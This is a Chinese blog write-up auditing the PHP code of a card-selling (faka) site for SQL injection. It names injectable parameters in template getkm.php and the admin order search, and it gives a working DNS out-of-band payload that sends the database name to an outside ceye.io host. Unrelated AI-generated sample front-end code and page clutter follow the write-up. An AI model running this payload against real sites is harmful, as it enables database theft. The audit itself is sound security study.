php发卡_发卡网代码审计

前言

好胸弟柠枫昨天dd了我一下,这不,叫我一起审计发卡的cms

479f784f83b80e7bb873407d97154e70.png

君无戏言,最近也在整二进制,当然要跟我的好胸弟一起组队py一下,不知道我都多久没审了,吐

咱语文也不是很好,各位看官就将就着看看就好,水文勿喷

8df8cad0ea906a438017ff3d84666cee.png

0x01.  首页功能点审计

5d881d3c618d7b025840f105acb30029.png

打开一看,发现不是mvc框架了,那就感觉没啥好看头了,对于发卡网这种功能一般情况下是没多少功能点让我getshell的(可能是我太菜,大佬也可以审计一波,交流交流)

ff9bc213923bb95f31d40e20f07f2d44.png

直接进来看一下发现这边没啥可以利用的,莫得慌,我们按照功能点来测,先买一下东西,抓个包,看下是神马

25d2f3ac57835a667f42939c874953fe.png

这边请求到了ajax.php这个页面,好家伙,我们就直接去ajax.php审计一波

76f936fe5c94f42a3fe5ca6ba595667e.png

咦??这这这,这直接拼接的吗,把我给整神了,一看到在where后面,完了

写死了,这没啥子用呀,拼接了也执行不了啥直接把条件写死了,我们继续往下看看

2758ee251c3b1a1fb3b81c2bb53eb4c1.png

本以为这边有爱情,我觉得我又行了,进去_if函数一看哟西,头大了,我丝毫不慌,咱们随缘挖洞,就不信全部都过滤了(好吧,关键地方就是过滤了)

可能我追求速度,没那么认真,然后粗略一看,我们继续看其他地方有没有

3e9a87b9d42f1a83879fe11079965d5a.png

b62160fd28d597048e145d20af9e0f8e.png

最后发现 C:\Users\86183\Desktop\faka\template\chiji\getkm.php 存在注入

也就是 getkm.php 存在注入,我们直接去看看这个页面,我们可以看到它这边是必会执行这下面这条语句,我们就直接在post包中添加 tqm 这个参数就行

template里面是个模板,然后 模板里面都存在 getkm.php,也就是说都存在这个注入

82e5c9b58b56e87814b813a45b2322fb.png

76064cb95b380181c0ad7cca7e7cc402.png

于是扔给了sqlmap跑,但是我发现这边不准确,不知道为什么,我本地搭建的也会延迟,等了好久,没有反应;

95dc8acca95e06bef5edcbfeeb5eab6e.png

b2a03b8fac613fb506810baca0769511.png

那就想想其他骚姿势,没有 mysql_error() 函数,报错注入就算了;

脑瓜子一转,我觉得可以使用 dns带外进行注入,说淦就淦

59f908105c0f0a475725a90bbab93922.png

先去构造一下payload

tqm=1' and (select load_file(concat('\\\\',(select database()),'.pdkzwo.ceye.io\\aaa')))#

4c69c1524b8b0b1c722f9c51f941149d.png

这就成功的执行了~~

转眼看看sqlmap

d9f7dbc0b61e5e53fb3226ffce307c79.png

还是就这样吧......

0x02.  后台功能点

884f28dd2cf6b601d8f3ab05284bcd06.png

然后我们就在这个订单这边审计,看看能审计出什么

<?php $pagesize=30;$pages=intval($numrows/$pagesize);if ($numrows%$pagesize){ $pages++; }if (isset($_GET['page'])){$page=intval($_GET['page']);}else{$page=1;}$offset=$pagesize*($page - 1);if(!empty($_GET['act']) && $_GET['act'] != null && $_GET['act'] == "sousuo"){    $pz = $_POST['pz'];    $sql = "SELECT * FROM if_order WHERE  out_trade_no like '%$pz%' or trade_no like '%$pz%' or rel  like '%$pz%'   order by id desc ";}else{    $sql = "SELECT * FROM if_order WHERE{$sql} order by id desc limit $offset,$pagesize";    // echo $sql;}$rs=$DB->query($sql);while($res = $DB->fetch($rs)){echo ''.$res['out_trade_no'].'
'.$res['trade_no'].'' . ''.getName($res['gid'],$DB).''.$res['rel'].'' . ''.$res['endTime'].''.$res['number'].'¥'.$res['money'].'('.getPayType($res['type']).')'.''.zt($res['sta']).'';}?>

这边出现intval函数,我们就放弃,然后我们继续往下看,看到了这一段

07549ff214600b7c0fce19bbb9746002.png

这.....完全的典型的注入,这边我们可以看到act传参sousuo,POST包传参pz就行了,注入点是在pz的地方

cf9d88d865c00df2fe811d3db5b92e17.png

像我这种脚本小子,都是扔sqlmap一把梭

a3c411fa26431dfe03b74e03047f83fc.png

然后就这样了,这个注入还是比较多的,我没去审计完;

9be6ee00092d4f66ad08bcea45433404.png

本人代码审计一般都是功能点审计,这也是我最常用,实战中也是比较常用的。功能点审计完后可以看看还有没有其他的漏洞,比如添加管理员的时候没有校验cookie等等的逻辑漏洞,然后再敏感函数查找,比如simplexml_load_string,unserilize,命令执行的函数等等

另外:需要源码练手的好胸嘚公众号私聊

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 我们可以使用 HTML、CSS 和 JavaScript 来编写前端代码,实现发卡的小程序。下面是一个示例代码: <html> <head> <title>发卡小程序</title> <style> #card-container { width: 300px; height: 200px; padding: 10px; border: 1px solid #ccc; } </style> </head> <body> <div id="card-container"> <h1>发卡小程序</h1> <form> <input type="text" placeholder="请输入卡号" /> <input type="submit" value="发卡" /> </form> </div> <script> const form = document.querySelector('form'); form.addEventListener('submit', (e) => { e.preventDefault(); alert('卡号发送成功!'); }); </script> </body> </html> ### 回答2: 发卡小程序前端代码是用来实现用户发卡操作的界面和交互逻辑的代码。以下是一个简单的发卡小程序前端代码实现: ```html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>发卡小程序</title> <script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.6.0/jquery.min.js"></script> </head> <body> <h1>发卡小程序</h1> <form id="cardForm"> <label for="cardNumber">卡号:</label> <input type="text" id="cardNumber" name="cardNumber" required><br><br> <label for="cardAmount">面额:</label> <input type="text" id="cardAmount" name="cardAmount" required><br><br> <input type="submit" value="发卡"> </form> <div id="result"></div> <script> $(document).ready(function() { $('#cardForm').submit(function(e) { e.preventDefault(); var cardNumber = $('#cardNumber').val(); var cardAmount = $('#cardAmount').val(); // 使用Ajax向后端发送发卡请求 $.ajax({ type: "POST", url: "/api/sendCard", data: { cardNumber: cardNumber, cardAmount: cardAmount }, success: function(response) { // 发卡成功,显示发卡结果 $('#result').text(response.message); }, error: function(xhr, status, error) { // 发卡失败,显示错误信息 $('#result').text("发卡失败,错误信息:" + xhr.responseText); } }); }); }); </script> </body> </html> ``` 以上代码中,使用HTML和JavaScript实现了一个简单的发卡小程序前端界面。用户需要填写卡号和面额,并点击"发卡"按钮提交表单。通过Ajax请求将表单数据发送到后端接口"/api/sendCard",后端根据收到的数据进行处理,并返回发卡结果。最后,前端根据后端返回的结果显示发卡成功或失败的提示信息。 ### 回答3: 发卡小程序的前端代码主要包括页面布局和交互逻辑。以下是一个简单的示例: ```html <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>发卡小程序</title> <link rel="stylesheet" href="styles.css"> </head> <body> <div id="app"> <h1>发卡小程序</h1> <form id="card-form"> <label for="card-number">卡号:</label> <input type="text" id="card-number" required> <label for="card-value">面值:</label> <input type="number" id="card-value" required> <button type="submit">发卡</button> </form> <div id="cards-list"> <h2>发卡记录:</h2> <ul id="cards"> <!-- 动态生成发卡记录 --> </ul> </div> </div> <script src="script.js"></script> </body> </html> ``` ```css /* styles.css */ body { font-family: Arial, sans-serif; margin: 0; padding: 20px; } h1 { text-align: center; } form { margin-top: 20px; } form label { display: block; margin-bottom: 5px; } form input { display: block; width: 100%; padding: 5px; margin-bottom: 10px; } button { display: block; width: 100%; padding: 10px; background-color: #337ab7; color: #fff; border: none; cursor: pointer; } button:disabled { background-color: #ccc; cursor: not-allowed; } #cards-list { margin-top: 20px; } #cards-list h2 { margin-bottom: 10px; } ``` ```javascript // script.js document.addEventListener('DOMContentLoaded', function() { const form = document.getElementById('card-form'); const cardNumberInput = document.getElementById('card-number'); const cardValueInput = document.getElementById('card-value'); const cardsList = document.getElementById('cards'); form.addEventListener('submit', function(e) { e.preventDefault(); const cardNumber = cardNumberInput.value; const cardValue = cardValueInput.value; if (cardNumber !== '' && cardValue !== '') { const li = document.createElement('li'); li.textContent = `卡号: ${cardNumber}, 面值: ${cardValue}`; cardsList.appendChild(li); cardNumberInput.value = ''; cardValueInput.value = ''; } }); }); ``` 以上是一个简单的发卡小程序的前端代码。用户可以输入卡号和面值,然后点击发卡按钮,程序将卡号和面值添加到发卡记录中。发卡记录以列表的形式展示在页面上。当用户点击发卡按钮时,会发生表单提交事件,通过JavaScript代码来处理并更新发卡记录。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值